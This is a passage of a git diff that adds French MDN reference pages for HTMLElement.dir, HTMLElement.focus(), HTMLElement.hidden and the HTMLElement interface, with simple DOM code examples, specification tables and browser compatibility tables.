+<p>Les valeurs possibles pour <code><strong>dir</strong></code> sont <strong><code>ltr</code></strong>, pour de gauche à droite (<em>left-to-right</em>), et <strong><code>rtl</code></strong>, pour de droite à gauche (<em>right-to-left</em>).</p>
+<h2 id="Exemple" name="Exemple">Exemple</h2>
+<pre class="brush: js">var para = document.getElementById("para1");
+para.dir = "rtl";
+// change la direction du texte sur un paragraphe identifié par "para1"
+</pre>
+<h2 id="Notes" name="Notes">Notes</h2>
+<p>La direction d'écriture du texte sur un élément est celle dans laquelle le texte est disposé (pour permettre le support de systèmes multilingues). Les langues arabes et l'hébreu sont des exemples typiques de langues qui utiliseront la direction « rtl » (de droite à gauche).</p>
+<p>Une image peut avoir sont attribut <code>dir</code> positionné à « rtl », auquel cas les attributs <code>title</code> et <code>alt</code> seront formatés et définis comme allant de droite à gauche.</p>
+<p>Lorsqu'un tableau a sa direction définie comme « rtl », l'ordre des colonnes va de droite à gauche.</p>
+<div class="geckoVersionNote">
+ <p>{{ gecko_callout_heading("7.0") }}</p>
+ <p>Avant Gecko 7.0 {{ geckoRelease("7.0") }}, il était possible que la valeur renvoyée ne soit pas toujours en minuscule. A partir de Gecko 7.0, la valeur renvoyée est toujours en minuscule, comme défini dans la spécification.</p>
+</div>
+<h2 id="Sp.C3.A9cification" name="Sp.C3.A9cification">Spécification</h2>
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('DOM2 HTML', 'html.html#ID-52460740', 'dir')}} <small>— <a class="external" href="http://www.yoyodesign.org/doc/w3c/dom2-html/html.html#ID-52460740">traduction</a> (non normative)</small></td>
+   <td>{{Spec2('DOM2 HTML')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+<p> </p>
diff --git a/files/fr/web/api/htmlelement/focus/index.html b/files/fr/web/api/htmlelement/focus/index.html
new file mode 100644
index 0000000000..3659a5a75b
--- /dev/null
+++ b/files/fr/web/api/htmlelement/focus/index.html
@@ -0,0 +1,223 @@
+---
+title: HTMLElement.focus()
+slug: Web/API/HTMLElement/focus
+tags:
+  - API
+  - HTML DOM
+  - HTMLElement
+translation_of: Web/API/HTMLOrForeignElement/focus
+---
+<div>{{ APIRef("HTML DOM") }}</div>
+
+<p>La méthode <strong><code>HTMLElement.focus()</code></strong> donne le focus à l'élément spécifié, s'il peut prendre le focus.</p>
+
+<h2 id="R.C3.A9sum.C3.A9" name="R.C3.A9sum.C3.A9">Syntaxe</h2>
+
+<pre class="syntaxbox">element.focus();
+element.focus(focusOption); // Paramètre objet</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>focusOptions</code> {{optional_inline}} {{experimental_inline}}</dt>
+ <dd>Est un objet ayant les propriétés suivantes:</dd>
+ <dd>
+ <dl>
+  <dt><code>preventScroll</code> {{optional_inline}}</dt>
+  <dd>Est une valeur <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Boolean" title="The Boolean object is an object wrapper for a boolean value."><code>Boolean</code></a>:
+  <ul>
+   <li>Si <code>false</code>, la méthode fera défiler la page pour que l'élément soit visible à l'écran.</li>
+   <li>Si <code>true</code>,  la méthode ne fera PAS défiler la page pour que l'élément soit visible à l'écran.</li>
+  </ul>
+  </dd>
+ </dl>
+ </dd>
+</dl>
+
+<h2 id="Specification" name="Specification">Exemples</h2>
+
+<h3 id="Focus_on_a_text_field" name="Focus_on_a_text_field">Donner le focus à un champ texte</h3>
+
+<h4 id="JavaScript">JavaScript</h4>
+
+<pre class="brush: js line-numbers  language-js"><code class="language-js">focusMethod <span class="operator token">=</span> <span class="keyword token">function</span> <span class="function token">getFocus</span><span class="punctuation token">(</span><span class="punctuation token">)</span> <span class="punctuation token">{</span>
+  document<span class="punctuation token">.</span><span class="function token">getElementById</span><span class="punctuation token">(</span><span class="string token">"myTextField"</span><span class="punctuation token">)</span><span class="punctuation token">.</span><span class="function token">focus</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+<span class="punctuation token">}</span></code></pre>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html line-numbers  language-html"><code class="language-html"><span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>input</span> <span class="attr-name token">type</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>text<span class="punctuation token">"</span></span> <span class="attr-name token">id</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>myTextField<span class="punctuation token">"</span></span> <span class="attr-name token">value</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"Champ texte</span>.<span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span>
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>p</span><span class="punctuation token">&gt;</span></span><span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>p</span><span class="punctuation token">&gt;</span></span>
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>button</span> <span class="attr-name token">type</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>button<span class="punctuation token">"</span></span> <span class="attr-name token">onclick</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>focusMethod()<span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span>Cliquez-moi pour donner le focus au champ texte!<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>button</span><span class="punctuation token">&gt;</span></span></code></pre>
+
+<h4 id="Résultat">Résultat</h4>
+
+<p>{{ EmbedLiveSample('Focus_on_a_text_field') }}</p>
+
+<h3 id="Focus_on_a_button" name="Focus_on_a_button">Donner le focus à un bouton</h3>
+
+<h4 id="JavaScript_2">JavaScript</h4>
+
+<pre class="brush: js line-numbers  language-js"><code class="language-js">focusMethod <span class="operator token">=</span> <span class="keyword token">function</span> <span class="function token">getFocus</span><span class="punctuation token">(</span><span class="punctuation token">)</span> <span class="punctuation token">{</span>
+  document<span class="punctuation token">.</span><span class="function token">getElementById</span><span class="punctuation token">(</span><span class="string token">"myButton"</span><span class="punctuation token">)</span><span class="punctuation token">.</span><span class="function token">focus</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+<span class="punctuation token">}</span></code></pre>
+
+<h4 id="HTML_2">HTML</h4>
+
+<pre class="brush: html line-numbers  language-html"><code class="language-html"><span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>button</span> <span class="attr-name token">type</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>button<span class="punctuation token">"</span></span> <span class="attr-name token">id</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>myButton<span class="punctuation token">"</span></span><span class="punctuation token">&gt;Cliquez</span></span>!<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>button</span><span class="punctuation token">&gt;</span></span>
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>p</span><span class="punctuation token">&gt;</span></span><span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>p</span><span class="punctuation token">&gt;</span></span>
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>button</span> <span class="attr-name token">type</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>button<span class="punctuation token">"</span></span> <span class="attr-name token">onclick</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>focusMethod()<span class="punctuation token">"</span></span><span class="punctuation token">&gt;Cliquez-moi pour donner le focus au bouton</span></span>!<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>button</span><span class="punctuation token">&gt;</span></span></code></pre>
+
+<h4 id="Résultat_2">Résultat</h4>
+
+<p>{{ EmbedLiveSample('Focus_on_a_button') }}</p>
+
+<h3 id="Focus_prevent_scroll" name="Focus_prevent_scroll">Focus avec option</h3>
+
+<h4 id="JavaScript_3">JavaScript</h4>
+
+<pre class="brush: js line-numbers  language-js"><code class="language-js">focusScrollMethod <span class="operator token">=</span> <span class="keyword token">function</span> <span class="function token">getFocus</span><span class="punctuation token">(</span><span class="punctuation token">)</span> <span class="punctuation token">{</span>
+  document<span class="punctuation token">.</span><span class="function token">getElementById</span><span class="punctuation token">(</span><span class="string token">"myButton"</span><span class="punctuation token">)</span><span class="punctuation token">.</span><span class="function token">focus</span><span class="punctuation token">(</span><span class="punctuation token">{</span>preventScroll<span class="punctuation token">:</span><span class="keyword token">false</span><span class="punctuation token">}</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+<span class="punctuation token">}</span>
+focusNoScrollMethod <span class="operator token">=</span> <span class="keyword token">function</span> <span class="function token">getFocusWithoutScrolling</span><span class="punctuation token">(</span><span class="punctuation token">)</span> <span class="punctuation token">{</span>
+  document<span class="punctuation token">.</span><span class="function token">getElementById</span><span class="punctuation token">(</span><span class="string token">"myButton"</span><span class="punctuation token">)</span><span class="punctuation token">.</span><span class="function token">focus</span><span class="punctuation token">(</span><span class="punctuation token">{</span>preventScroll<span class="punctuation token">:</span><span class="keyword token">true</span><span class="punctuation token">}</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+<span class="punctuation token">}</span></code></pre>
+
+<h4 id="HTML_3">HTML</h4>
+
+<pre class="brush: html line-numbers  language-html"><code class="language-html"><span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>button</span> <span class="attr-name token">type</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>button<span class="punctuation token">"</span></span> <span class="attr-name token">onclick</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>focusScrollMethod()<span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span>Cliquez-moi pour donner le focus au bouton!<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>button</span><span class="punctuation token">&gt;</span></span>
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>button</span> <span class="attr-name token">type</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>button<span class="punctuation token">"</span></span> <span class="attr-name token">onclick</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>focusNoScrollMethod()<span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span>Cliquez-moi pour donner le focus au bouton sans défilement!<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>button</span><span class="punctuation token">&gt;</span></span>
+
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>div</span> <span class="attr-name token">id</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>container<span class="punctuation token">"</span></span><span class="language-css style-attr token"><span class="attr-name token"> <span class="attr-name token">style</span></span><span class="punctuation token">="</span><span class="attr-value token"><span class="property token">height</span><span class="punctuation token">:</span> <span class="number token">1000</span>px<span class="punctuation token">;</span> <span class="property token">width</span><span class="punctuation token">:</span> <span class="number token">1000</span>px<span class="punctuation token">;</span></span><span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span>
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>button</span> <span class="attr-name token">type</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>button<span class="punctuation token">"</span></span> <span class="attr-name token">id</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>myButton<span class="punctuation token">"</span></span><span class="language-css style-attr token"><span class="attr-name token"> <span class="attr-name token">style</span></span><span class="punctuation token">="</span><span class="attr-value token"><span class="property token">margin-top</span><span class="punctuation token">:</span> <span class="number token">500</span>px<span class="punctuation token">;</span></span><span class="punctuation token">"</span></span><span class="punctuation token">&gt;Cliquez</span></span>!<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>button</span><span class="punctuation token">&gt;</span></span>
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>div</span><span class="punctuation token">&gt;</span></span></code></pre>
+
+<h4 id="Résultat_3">Résultat</h4>
+
+<p>{{ EmbedLiveSample('Focus_prevent_scroll') }}</p>
+
+<h2 id="Specification" name="Specification">Spécification</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'editing.html#dom-focus', 'focus')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5.1', 'editing.html#focus()-0', 'focus')}}</td>
+   <td>{{Spec2('HTML5.1')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'editing.html#dom-focus', 'focus')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM2 HTML', 'html.html#ID-32130014', 'focus')}}</td>
+   <td>{{Spec2('DOM2 HTML')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM1', 'level-one-html.html#method-focus', 'focus')}}</td>
+   <td>{{Spec2('DOM1')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Notes">Notes</h2>
+
+<p>Si vous appelez <code>HTMLElement.focus()</code> à partir d'un gestionnaire d'événement mousedown, vous devez appeler <code>event.preventDefault()</code> pour empêcher le focus de quitter l'<code>HTMLElement</code>.</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table>
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Chrome</th>
+   <th>Firefox</th>
+   <th>Edge</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Support basique</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>focusOptions</code></td>
+   <td>{{CompatChrome(64)}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatOperaMobile(51)}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table>
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Android Webview</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile</th>
+   <th>Edge mobile</th>
+   <th>IE mobile</th>
+   <th>Opera Android</th>
+   <th>Safari iOS</th>
+  </tr>
+  <tr>
+   <td>Support basique</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>focusOptions</code></td>
+   <td>{{CompatChrome(64)}}</td>
+   <td>{{CompatChrome(64)}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatOperaMobile(51)}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>La méthode DOM {{domxref("HTMLElement.blur()")}} pour retirer le focus.</li>
+ <li>{{domxref('document.activeElement')}} pour savoir quel élément a actuellement le focus.</li>
+</ul>
diff --git a/files/fr/web/api/htmlelement/hidden/index.html b/files/fr/web/api/htmlelement/hidden/index.html
new file mode 100644
index 0000000000..28cc5255d5
--- /dev/null
+++ b/files/fr/web/api/htmlelement/hidden/index.html
@@ -0,0 +1,145 @@
+---
+title: HTMLElement.hidden
+slug: Web/API/HTMLElement/hidden
+translation_of: Web/API/HTMLElement/hidden
+---
+<div>
+<div>{{ APIRef("HTML DOM") }}</div>
+</div>
+
+<p><span class="seoSummary">La propriété <strong><code>hidden</code></strong> de l'{{domxref("HTMLElement")}} est un {{jsxref("Boolean")}} qui vaut <code>true</code> si l'élément est caché, sinon sa valeur est <code>false</code>. Cela est très différent de l'utilisation de la propriété CSS {{cssxref("display")}} pour contrôler la visibilité d'un élément.</span> La propriété <code>hidden</code> s'applique à tous les modes de présentation et ne doit pas être utilisée pour cacher du contenu qui est destiné à être directement accessible par l'utilisateur.</p>
+
+<p>Des cas d'utilisation appropriés de <code>hidden</code> comprennent :</p>
+
+<ul>
+ <li>du contenu qui n'est pas encore pertinent mais qui peut être nécessaire ultérieurement ;</li>
+ <li>du contenu qui était nécessaire antérieurement mais qui ne l'est plus ;</li>
+ <li>du contenu qui est réutilisé par d'autres parties de la page à la manière d'un modèle ;</li>
+ <li>la création d'un canevas hors écran comme tampon de dessin.</li>
+</ul>
+
+<p>Des cas inappropriés d'utilisation comprennent :</p>
+
+<ul>
+ <li>le fait de cacher des panneaux dans une boîte de dialogue à onglets ;</li>
+ <li>le fait de cacher du contenu dans une présentation tout en ayant l'intention qu'il soit visible dans d'autres.</li>
+</ul>
+
+<div class="note">
+<p>Des éléments qui ne sont pas <code>hidden</code> ne doivent pas faire référence à des éléments qui le sont.</p>
+</div>
+
+<h2 id="Syntax" name="Syntax">Syntaxe</h2>
+
+<pre class="syntaxbox notranslate"><em>estCaché</em> = <em>HTMLElement</em>.hidden;
+
+<em>HTMLElement</em>.hidden = true | false;</pre>
+
+<h3 id="Valeur">Valeur</h3>
+
+<p>Un Boolean qui est <code>true</code> si l'élément est caché à la vue ; sinon, la valeur est <code>false</code>.</p>
+
+<h2 id="Example" name="Example">Exemple</h2>
+
+<p>Voici un exemple où un bloc caché est utilisé pour contenir un message de remerciement qui est affiché après qu'un utilisateur a accepté une demande inhabituelle.</p>
+
+<h3 id="JavaScript">JavaScript</h3>
+
+<pre class="brush: js notranslate">document.getElementById("boutonOk")
+        .addEventListener("click", function() {
+  document.getElementById("bienvenue").hidden = true;
+  document.getElementById("impressionnant").hidden = false;
+}, false);</pre>
+
+<p>Ce code installe une gestionnaire pour le bouton "OK" du panneau de bienvenue, gestionnaire qui cache le panneau de bienvenue et rend le panneau de suite — ayant le curieux nom d'"impressionnant" — visible à sa place.</p>
+
+<h3 id="HTML">HTML</h3>
+
+<p>Le code HTML pour les deux boîtes est montré ci-dessous.</p>
+
+<h4 id="Le_panneau_bienvenue">Le panneau bienvenue</h4>
+
+<pre class="brush: html notranslate">&lt;div id="bienvenue" class="panneau"&gt;
+  &lt;h1&gt;Bienvenue à Machin.com !&lt;/h1&gt;
+  &lt;p&gt;En cliquant sur "OK", vous acceptez d'être impressionnant chaque jour !&lt;/p&gt;
+  &lt;button class="bouton" id="boutonOk"&gt;OK&lt;/button&gt;
+&lt;/div&gt;</pre>
+
+<p>Ce code HTML crée un panneau (dans un bloc {{HTMLElement("div")}}) qui accueille les utilisateurs sur un site et leur dit ce qu'ils acceptent en cliquant sur le bouton OK.</p>
+
+<h4 id="Le_panneau_de_suite">Le panneau de suite</h4>
+
+<p>Une fois que l'utilisateur a cliqué sur le bouton "OK" dans le panneau d'accueil, le code JavaScript échange les deux panneaux en changeant leurs valeurs respectives pour <code>hidden</code>. Le panneau de suite ressemble à ce qui suit en HTML:</p>
+
+<pre class="brush: html notranslate">&lt;div id="impressionnant" class="panneau" hidden&gt;
+  &lt;h1&gt;Merci !&lt;/h1&gt;
+  &lt;p&gt;Merci &lt;strong&gt;vraiment&lt;/strong&gt; beaucoup d'avoir accepté d'être
+  impressionnant aujourd'hui ! Maintenant, sortez et faites des choses impressionnantes
+  d'une façon impressionnante pour rendre le monde plus impressionnant !&lt;/p&gt;
+&lt;/div&gt;</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<p>Le contenu est mis en forme en utilisant le CSS ci-dessous.</p>
+
+<pre class="brush: css notranslate">.panneau {
+  font: 16px "Open Sans", Helvetica, Arial, sans-serif;
+  border: 1px solid #22d;
+  padding: 12px;
+  width: 500px;
+  text-align: center;
+}
+
+.bouton {
+  font: 22px "Open Sans", Helvetica, Arial, sans-serif;
+  padding: 5px 36px;
+}
+
+h1 {
+  margin-top: 0;
+  font-size: 175%;
+}</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{ EmbedLiveSample('Example', 560, 200) }}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "interaction.html#dom-hidden", "HTMLElement.hidden")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5.1', "editing.html#the-hidden-attribute", "HTMLElement.hidden")}}</td>
+   <td>{{Spec2('HTML5.1')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', "editing.html#the-hidden-attribute", "HTMLElement.hidden")}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">La table compatibilité de cette page est générée à partir de données structurées. Au cas où vous souhaiteriez contribuer aux données, merci de please de vous regarder <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et de nous envoyer une "pull request".</div>
+
+<p>{{Compat("api.HTMLElement.hidden")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{domxref("Element.hidden")}}</li>
+ <li>{{cssxref("display")}}</li>
+</ul>
diff --git a/files/fr/web/api/htmlelement/index.html b/files/fr/web/api/htmlelement/index.html
new file mode 100644
index 0000000000..5e9cfbda3b
--- /dev/null
+++ b/files/fr/web/api/htmlelement/index.html
@@ -0,0 +1,230 @@
+---
+title: HTMLElement
+slug: Web/API/HTMLElement
+tags:
+  - DOM
+  - Référence_du_DOM_Gecko
+translation_of: Web/API/HTMLElement
+---
+<div>
+ {{ApiRef}}</div>
+<h2 id="Interface_des_éléments_HTML">Interface des éléments HTML</h2>
+<p><code>HTMLElement</code> est une interface abstraite pour le <a href="/fr/docs/DOM" title="en-US/docs/DOM">DOM</a>, héritée par tous les éléments HTML.</p>
+<h2 id="Propriétés">Propriétés</h2>
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Nom</th>
+   <th scope="col">Type</th>
+   <th scope="col">Description</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{domxref("element.accessKey", "accessKey")}} {{HTMLVersionInline(5)}}</td>
+   <td>{{domxref("DOMString")}}</td>
+   <td>La touche de navigation clavier assignée à l'élément.</td>
+  </tr>
+  <tr>
+   <td>{{domxref("element.accessKeyLabel", "accessKeyLabel")}} {{HTMLVersionInline(5)}}</td>
+   <td>{{domxref("DOMString")}}</td>
+   <td>Une chaîne de caractères définissant la touche de navigation clavier assignée.</td>
+  </tr>
+  <tr>
+   <td>{{domxref("element.className", "className")}}</td>
+   <td>{{domxref("DOMString")}}</td>
+   <td>Le nom de la classe <a href="/fr/docs/CSS" title="/fr/docs/CSS">CSS</a> définie pour l'élément.</td>
+  </tr>
+  <tr>
+   <td>{{domxref("element.dataset", "dataset")}} {{HTMLVersionInline(5)}}</td>
+   <td>{{domxref("DOMStringMap")}}</td>
+   <td>Un tableau associatif des attributs  <code>data-*</code> de l'élément.</td>
+  </tr>
+  <tr>
+   <td>{{domxref("element.dir", "dir")}}</td>
+   <td>{{domxref("DOMString")}}</td>
+   <td>L'attribut <code>dir</code> de l'élément.</td>
+  </tr>
+  <tr>
+   <td>{{domxref("element.id", "id")}}</td>
+   <td>{{domxref("DOMString")}}</td>
+   <td>L'ID de l'élément.</td>
+  </tr>
+  <tr>
+   <td>{{domxref("element.lang", "lang")}}</td>
+   <td>{{domxref("DOMString")}}</td>
+   <td>L'attribut  <code>lang</code> de l'élément.</td>
+  </tr>
+  <tr>
+   <td>{{domxref("element.title", "title")}}</td>
+   <td>{{domxref("DOMString")}}</td>
+   <td>L'attribut <code>title</code> de l'élément.</td>
+  </tr>
+ </tbody>
+</table>
+<h2 id="Méthodes">Méthodes</h2>
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Nom et paramètres</th>
+   <th scope="col">Renvoie</th>
+   <th scope="col">Description</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{domxref("element.blur()", "blur()")}} {{HTMLVersionInline(5)}}</td>
+   <td><code>void</code></td>
+   <td>Retire le focus clavier de l'élément actuellement sélectionné.</td>
+  </tr>
+  <tr>
+   <td>{{domxref("element.click()", "click()")}} {{HTMLVersionInline(5)}}</td>
+   <td><code>void</code></td>
+   <td>Envoie un évènement <code>click</code> à l'élément.</td>
+  </tr>
+  <tr>
+   <td>{{domxref("element.focus()", "focus()")}} {{HTMLVersionInline(5)}}</td>
+   <td><code>void</code></td>
+   <td>Place le focus clavier sur l'élément.</td>
+  </tr>
+ </tbody>
+</table>
+<h2 id="Spécification">Spécification</h2>
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'elements.html#htmlelement', 'HTMLElement')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+<p>{{CompatibilityTable}}</p>
+<div id="compat-desktop">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th>Fonctionnalité</th>
+    <th>Firefox (Gecko)</th>
+    <th>Chrome</th>
+    <th>Internet Explorer</th>
+    <th>Opera</th>
+    <th>Safari</th>
+   </tr>
+   <tr>
+    <td>Support de base</td>
+    <td>{{CompatGeckoDesktop("1.0")}}</td>
+    <td>{{CompatUnknown}}</td>
+    <td>{{CompatUnknown}}</td>
+    <td>{{CompatUnknown}}</td>
+    <td>{{CompatUnknown}}</td>
+   </tr>
+   <tr>
+    <td>{{domxref("element.accessKey", "accessKey")}}</td>
+    <td>{{CompatGeckoDesktop("5.0")}}</td>
+    <td>17.0</td>
+    <td>{{CompatUnknown}}</td>
+    <td>{{CompatUnknown}}</td>
+    <td>{{CompatVersionUnknown}}(<a class="external" href="http://trac.webkit.org/changeset/107483">535.10</a>)</td>
+   </tr>
+   <tr>
+    <td>{{domxref("element.accessKeyLabel", "accessKeyLabel")}}</td>
+    <td>{{CompatGeckoDesktop("8.0")}}</td>
+    <td>{{CompatUnknown}}</td>
+    <td>{{CompatUnknown}}</td>
+    <td>{{CompatUnknown}}</td>
+    <td>{{CompatNo}}{{WebkitBug(72715)}}</td>
+   </tr>
+   <tr>
+    <td>{{domxref("element.blur()", "blur()")}}</td>
+    <td>{{CompatGeckoDesktop("5.0")}}</td>
+    <td>{{CompatUnknown}}</td>
+    <td>{{CompatUnknown}}</td>
+    <td>{{CompatUnknown}}</td>
+    <td>{{CompatUnknown}}</td>
+   </tr>
+   <tr>
+    <td>{{domxref("element.click()", "click()")}}</td>
+    <td>{{CompatGeckoDesktop("5.0")}}</td>
+    <td>{{CompatUnknown}}</td>
+    <td>{{CompatUnknown}}</td>
+    <td>{{CompatUnknown}}</td>
+    <td>{{CompatVersionUnknown}}(<a class="external" href="http://trac.webkit.org/changeset/107483">535.24</a>)</td>
+   </tr>
+   <tr>
+    <td>{{domxref("element.dataset", "dataset")}}</td>
+    <td>{{CompatGeckoDesktop("6.0")}}</td>
+    <td>9.0</td>
+    <td>{{CompatUnknown}}</td>
+    <td>11.10</td>
+    <td>5.1</td>
+   </tr>
+   <tr>
+    <td>{{domxref("element.focus()", "focus()")}}</td>
+    <td>{{CompatGeckoDesktop("5.0")}}</td>
+    <td>{{CompatUnknown}}</td>
+    <td>{{CompatUnknown}}</td>
+    <td>{{CompatUnknown}}</td>
+    <td>{{CompatUnknown}}</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+<div id="compat-mobile">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th>Fonctionnalité</th>
+    <th>Firefox Mobile (Gecko)</th>
+    <th>Android</th>
+    <th>IE Mobile</th>
+    <th>Opera Mobile</th>
+    <th>Safari Mobile</th>
+   </tr>
+   <tr>
+    <td>Support de base</td>
+    <td>{{CompatGeckoMobile("1.0")}}</td>
+    <td rowspan="7">{{CompatUnknown}}</td>
+    <td rowspan="7">{{CompatUnknown}}</td>
+    <td rowspan="7">{{CompatUnknown}}</td>
+    <td rowspan="7">{{CompatUnknown}}</td>
+   </tr>
+   <tr>
+    <td>{{domxref("element.accessKey", "accessKey")}}</td>
+    <td>{{CompatGeckoMobile("5.0")}}</td>
+   </tr>
+   <tr>
+    <td>{{domxref("element.accessKeyLabel", "accessKeyLabel")}}</td>
+    <td>{{CompatGeckoMobile("8.0")}}</td>
+   </tr>
+   <tr>
+    <td>{{domxref("element.blur()", "blur()")}}</td>
